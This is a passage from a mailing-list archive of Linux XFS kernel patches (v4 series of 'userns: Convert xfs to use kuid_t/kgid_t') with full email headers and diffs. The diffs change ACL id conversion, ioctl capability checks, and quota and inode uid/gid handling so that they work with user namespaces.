bits=256 verify=NO); Wed, 17 Jul 2013 15:47:13 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFl9pi000502; Wed, 17 Jul 2013 15:47:10 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:09 -0700 Date: Wed, 17 Jul 2013 11:47:05 -0400 From: Dwight Engen To: xfs@oss.sgi.com, Dave Chinner , Brian Foster Cc: Serge Hallyn , "Eric W. Biederman" Subject: [PATCH v4 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Message-ID: <20130717114705.60d87987@oracle.com> X-ASG-Orig-Subj: [PATCH v4 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374076046 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi All, This updated patchset is on top of ad81f054 of xfs git (3.11-rc1). The patches do not convert the id's returned from bulkstat, since bulkstat cannot be called from inside a userns right now anyway since the caller must be CAP_SYS_ADMIN in init_user_ns. Changes since v3 patchset: - export inode_capable() for building xfs as a module - implement Brian's proposal for an internal flag to indicate to xfs_inode_free_eofblocks() that it should do a permission check. ioctl callers will always set this flag, which is simpler than making them specify XFS_EOF_FLAGS_UID or XFS_EOF_FLAGS_GID, internal callers can leave it unset so no permission checking is done - take Brian's suggestion on moving the policy from the conversion function into the ioctl code, and moving stuff to xfs_icache.h From dwight.engen@oracle.com Wed Jul 17 10:47:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 531C929E06 for ; Wed, 17 Jul 2013 10:47:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D22DCAC01B for ; Wed, 17 Jul 2013 08:47:28 -0700 (PDT) X-ASG-Debug-ID: 1374076047-04cbb0468e10cb6f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id pBdWBQNXaIABmoPt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:27 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlQw6027952 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:27 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlNTn028494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:25 GMT Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlNAP028490 for ; Wed, 17 Jul 2013 15:47:23 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:23 -0700 Date: Wed, 17 Jul 2013 11:47:20 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 2/7] xfs: convert kuid_t to/from uid_t in ACLs Message-ID: <20130717114720.1004da49@oracle.com> X-ASG-Orig-Subj: [PATCH v4 2/7] xfs: convert kuid_t to/from uid_t in ACLs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374076047 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Change permission check for setting ACL to use inode_owner_or_capable() which will additionally allow a CAP_FOWNER user in a user namespace to be able to set an ACL on an inode covered by the user namespace mapping. Signed-off-by: Dwight Engen --- fs/xfs/xfs_acl.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 306d883..32e4972 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -68,14 +68,15 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: + acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); + break; case ACL_GROUP: - acl_e->e_id = be32_to_cpu(ace->ae_id); + acl_e->e_gid = xfs_gid_to_kgid(be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: case ACL_MASK: case ACL_OTHER: - acl_e->e_id = ACL_UNDEFINED_ID; break; default: goto fail; @@ -101,7 +102,18 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) acl_e = &acl->a_entries[i]; ace->ae_tag = cpu_to_be32(acl_e->e_tag); - ace->ae_id = cpu_to_be32(acl_e->e_id); + switch (acl_e->e_tag) { + case ACL_USER: + ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(acl_e->e_uid)); + break; + case ACL_GROUP: + ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(acl_e->e_gid)); + break; + default: + ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); + break; + } + ace->ae_perm = cpu_to_be16(acl_e->e_perm); } } @@ -360,7 +372,7 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, return -EINVAL; if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) return value ? -EACCES : 0; - if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) + if (!inode_owner_or_capable(inode)) return -EPERM; if (!value) -- 1.8.1.4 From dwight.engen@oracle.com Wed Jul 17 10:47:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EE07A29E11 for ; Wed, 17 Jul 2013 10:47:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BEE6D304089 for ; Wed, 17 Jul 2013 08:47:34 -0700 (PDT) X-ASG-Debug-ID: 1374076053-04bdf0245cd3cb0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id q9IAhi0C16QJqZBE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:33 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlWPF028064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:33 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlTMh013268 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:32 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlTJJ013254 for ; Wed, 17 Jul 2013 15:47:29 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:29 -0700 Date: Wed, 17 Jul 2013 11:47:27 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 3/7] xfs: ioctl check for capabilities in the current user namespace Message-ID: <20130717114727.23491330@oracle.com> X-ASG-Orig-Subj: [PATCH v4 3/7] xfs: ioctl check for capabilities in the current user namespace Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374076053 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use inode_capable() to check if SUID|SGID bits should be cleared to match similar check in inode_change_ok(). The check for CAP_LINUX_IMMUTABLE was not modified since all other file systems also check against init_user_ns rather than current_user_ns. Signed-off-by: Dwight Engen --- fs/xfs/xfs_ioctl.c | 4 ++-- kernel/capability.c | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e2bca5..8edc780 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -981,7 +981,7 @@ xfs_ioctl_setattr( * to the file owner ID, except in cases where the * CAP_FSETID capability is applicable. */ - if (current_fsuid() != ip->i_d.di_uid && !capable(CAP_FOWNER)) { + if (!inode_owner_or_capable(VFS_I(ip))) { code = XFS_ERROR(EPERM); goto error_return; } @@ -1103,7 +1103,7 @@ xfs_ioctl_setattr( * cleared upon successful return from chown() */ if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) && - !capable(CAP_FSETID)) + !inode_capable(VFS_I(ip), CAP_FSETID)) ip->i_d.di_mode &= ~(S_ISUID|S_ISGID); /* diff --git a/kernel/capability.c b/kernel/capability.c index f6c2ce5..a4b6744 100644 --- a/kernel/capability.c +++ b/kernel/capability.c @@ -464,3 +464,4 @@ bool inode_capable(const struct inode *inode, int cap) return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); } +EXPORT_SYMBOL(inode_capable); -- 1.8.1.4 From dwight.engen@oracle.com Wed Jul 17 10:47:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EB12429E15 for ; Wed, 17 Jul 2013 10:47:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C452AC01C for ; Wed, 17 Jul 2013 08:47:40 -0700 (PDT) X-ASG-Debug-ID: 1374076058-04cb6c2a42e24e30001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id yReCTUXKQH7abunh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:38 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlbGe025395 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:38 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlbnK029204 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:37 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlaZB001631 for ; Wed, 17 Jul 2013 15:47:36 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:36 -0700 Date: Wed, 17 Jul 2013 11:47:34 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 4/7] xfs: convert kuid_t to/from uid_t for internal structures Message-ID: <20130717114734.4d2ca6fb@oracle.com> X-ASG-Orig-Subj: [PATCH v4 4/7] xfs: convert kuid_t to/from uid_t for internal structures Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374076058 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use uint32 from init_user_ns for xfs internal uid/gid representation in xfs_icdinode, xfs_dqid_t. Signed-off-by: Dwight Engen --- fs/xfs/xfs_inode.c | 6 +++--- fs/xfs/xfs_iops.c | 38 ++++++++++++++++++++------------------ fs/xfs/xfs_qm.c | 10 +++++----- fs/xfs/xfs_quota.h | 11 ++++++----- fs/xfs/xfs_symlink.c | 6 ++++-- fs/xfs/xfs_vnodeops.c | 8 +++++--- 6 files changed, 43 insertions(+), 36 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..9ae4a90 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1288,8 +1288,8 @@ xfs_ialloc( ip->i_d.di_onlink = 0; ip->i_d.di_nlink = nlink; ASSERT(ip->i_d.di_nlink == nlink); - ip->i_d.di_uid = current_fsuid(); - ip->i_d.di_gid = current_fsgid(); + ip->i_d.di_uid = xfs_kuid_to_uid(current_fsuid()); + ip->i_d.di_gid = xfs_kgid_to_gid(current_fsgid()); xfs_set_projid(ip, prid); memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); @@ -1328,7 +1328,7 @@ xfs_ialloc( */ if ((irix_sgid_inherit) && (ip->i_d.di_mode & S_ISGID) && - (!in_group_p((gid_t)ip->i_d.di_gid))) { + (!in_group_p(xfs_gid_to_kgid(ip->i_d.di_gid)))) { ip->i_d.di_mode &= ~S_ISGID; } diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 96dda62..10e0152 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -420,8 +420,8 @@ xfs_vn_getattr( stat->dev = inode->i_sb->s_dev; stat->mode = ip->i_d.di_mode; stat->nlink = ip->i_d.di_nlink; - stat->uid = ip->i_d.di_uid; - stat->gid = ip->i_d.di_gid; + stat->uid = inode->i_uid; + stat->gid = inode->i_gid; stat->ino = ip->i_ino; stat->atime = inode->i_atime; stat->mtime = inode->i_mtime; @@ -485,8 +485,8 @@ xfs_setattr_nonsize( int mask = iattr->ia_valid; xfs_trans_t *tp; int error; - uid_t uid = 0, iuid = 0; - gid_t gid = 0, igid = 0; + kuid_t uid = GLOBAL_ROOT_UID, iuid = GLOBAL_ROOT_UID; + kgid_t gid = GLOBAL_ROOT_GID, igid = GLOBAL_ROOT_GID; struct xfs_dquot *udqp = NULL, *gdqp = NULL; struct xfs_dquot *olddquot1 = NULL, *olddquot2 = NULL; @@ -522,13 +522,13 @@ xfs_setattr_nonsize( uid = iattr->ia_uid; qflags |= XFS_QMOPT_UQUOTA; } else { - uid = ip->i_d.di_uid; + uid = inode->i_uid; } if ((mask & ATTR_GID) && XFS_IS_GQUOTA_ON(mp)) { gid = iattr->ia_gid; qflags |= XFS_QMOPT_GQUOTA; } else { - gid = ip->i_d.di_gid; + gid = inode->i_gid; } /* @@ -538,8 +538,10 @@ xfs_setattr_nonsize( */ ASSERT(udqp == NULL); ASSERT(gdqp == NULL); - error = xfs_qm_vop_dqalloc(ip, uid, gid, xfs_get_projid(ip), - qflags, &udqp, &gdqp, NULL); + error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(uid), + xfs_kgid_to_gid(gid), + xfs_get_projid(ip), + qflags, &udqp, &gdqp, NULL); if (error) return error; } @@ -561,8 +563,8 @@ xfs_setattr_nonsize( * while we didn't have the inode locked, inode's dquot(s) * would have changed also. */ - iuid = ip->i_d.di_uid; - igid = ip->i_d.di_gid; + iuid = inode->i_uid; + igid = inode->i_gid; gid = (mask & ATTR_GID) ? iattr->ia_gid : igid; uid = (mask & ATTR_UID) ? iattr->ia_uid : iuid; @@ -571,8 +573,8 @@ xfs_setattr_nonsize( * going to change. */ if (XFS_IS_QUOTA_RUNNING(mp) && - ((XFS_IS_UQUOTA_ON(mp) && iuid != uid) || - (XFS_IS_GQUOTA_ON(mp) && igid != gid))) { + ((XFS_IS_UQUOTA_ON(mp) && !uid_eq(iuid, uid)) || + (XFS_IS_GQUOTA_ON(mp) && !gid_eq(igid, gid)))) { ASSERT(tp); error = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, NULL, capable(CAP_FOWNER) ? @@ -602,17 +604,17 @@ xfs_setattr_nonsize( * Change the ownerships and register quota modifications * in the transaction. */ - if (iuid != uid) { + if (!uid_eq(iuid, uid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_UQUOTA_ON(mp)) { ASSERT(mask & ATTR_UID); ASSERT(udqp); olddquot1 = xfs_qm_vop_chown(tp, ip, &ip->i_udquot, udqp); } - ip->i_d.di_uid = uid; + ip->i_d.di_uid = xfs_kuid_to_uid(uid); inode->i_uid = uid; } - if (igid != gid) { + if (!gid_eq(igid, gid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_GQUOTA_ON(mp)) { ASSERT(!XFS_IS_PQUOTA_ON(mp)); ASSERT(mask & ATTR_GID); @@ -620,7 +622,7 @@ xfs_setattr_nonsize( olddquot2 = xfs_qm_vop_chown(tp, ip, &ip->i_gdquot, gdqp); } - ip->i_d.di_gid = gid; + ip->i_d.di_gid = xfs_kgid_to_gid(gid); inode->i_gid = gid; } } @@ -1173,8 +1175,8 @@ xfs_setup_inode( inode->i_mode = ip->i_d.di_mode; set_nlink(inode, ip->i_d.di_nlink); - inode->i_uid = ip->i_d.di_uid; - inode->i_gid = ip->i_d.di_gid; + inode->i_uid = xfs_uid_to_kuid(ip->i_d.di_uid); + inode->i_gid = xfs_gid_to_kgid(ip->i_d.di_gid); switch (inode->i_mode & S_IFMT) { case S_IFBLK: diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d320794..bcb49c5 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -1734,8 +1734,8 @@ xfs_qm_write_sb_changes( int xfs_qm_vop_dqalloc( struct xfs_inode *ip, - uid_t uid, - gid_t gid, + xfs_dqid_t uid, + xfs_dqid_t gid, prid_t prid, uint flags, struct xfs_dquot **O_udqpp, @@ -1782,7 +1782,7 @@ xfs_qm_vop_dqalloc( * holding ilock. */ xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t) uid, + error = xfs_qm_dqget(mp, NULL, uid, XFS_DQ_USER, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1809,7 +1809,7 @@ xfs_qm_vop_dqalloc( if ((flags & XFS_QMOPT_GQUOTA) && XFS_IS_GQUOTA_ON(mp)) { if (ip->i_d.di_gid != gid) { xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t)gid, + error = xfs_qm_dqget(mp, NULL, gid, XFS_DQ_GROUP, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1943,7 +1943,7 @@ xfs_qm_vop_chown_reserve( XFS_QMOPT_RES_RTBLKS : XFS_QMOPT_RES_REGBLKS; if (XFS_IS_UQUOTA_ON(mp) && udqp && - ip->i_d.di_uid != (uid_t)be32_to_cpu(udqp->q_core.d_id)) { + ip->i_d.di_uid != be32_to_cpu(udqp->q_core.d_id)) { udq_delblks = udqp; /* * If there are delayed allocation blocks, then we have to diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index b14f42c..39720ef 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -340,8 +340,9 @@ extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *, long, long, uint); -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **, struct xfs_dquot **); +extern int xfs_qm_vop_dqalloc(struct xfs_inode *, xfs_dqid_t, xfs_dqid_t, + prid_t, uint, struct xfs_dquot **, struct xfs_dquot **, + struct xfs_dquot **); extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *); extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); @@ -362,9 +363,9 @@ extern void xfs_qm_unmount_quotas(struct xfs_mount *); #else static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp, - struct xfs_dquot **pdqp) +xfs_qm_vop_dqalloc(struct xfs_inode *ip, xfs_dqid_t uid, xfs_dqid_t gid, + prid_t prid, uint flags, struct xfs_dquot **udqp, + struct xfs_dquot **gdqp, struct xfs_dquot **pdqp) { *udqp = NULL; *gdqp = NULL; diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f4895b6..db2fdc6 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -386,8 +386,10 @@ xfs_symlink( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); if (error) goto std_return; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index dc730ac..ed8aa19 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -507,9 +507,11 @@ xfs_create( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, - &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) return error; -- 1.8.1.4 From dwight.engen@oracle.com Wed Jul 17 10:47:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E5E1E29E19 for ; Wed, 17 Jul 2013 10:47:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5AF430408C for ; Wed, 17 Jul 2013 08:47:45 -0700 (PDT) X-ASG-Debug-ID: 1374076064-04cb6c2a46e24e80001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id QVRE49sWddf3CevC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:44 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlh9L028218 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:44 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlhKa002222 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:43 GMT Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlgPf001913 for ; Wed, 17 Jul 2013 15:47:42 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:42 -0700 Date: Wed, 17 Jul 2013 11:47:40 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130717114740.77f7bcee@oracle.com> X-ASG-Orig-Subj: [PATCH v4 5/7] xfs: create internal eofblocks structure with kuid_t types Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374076064 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 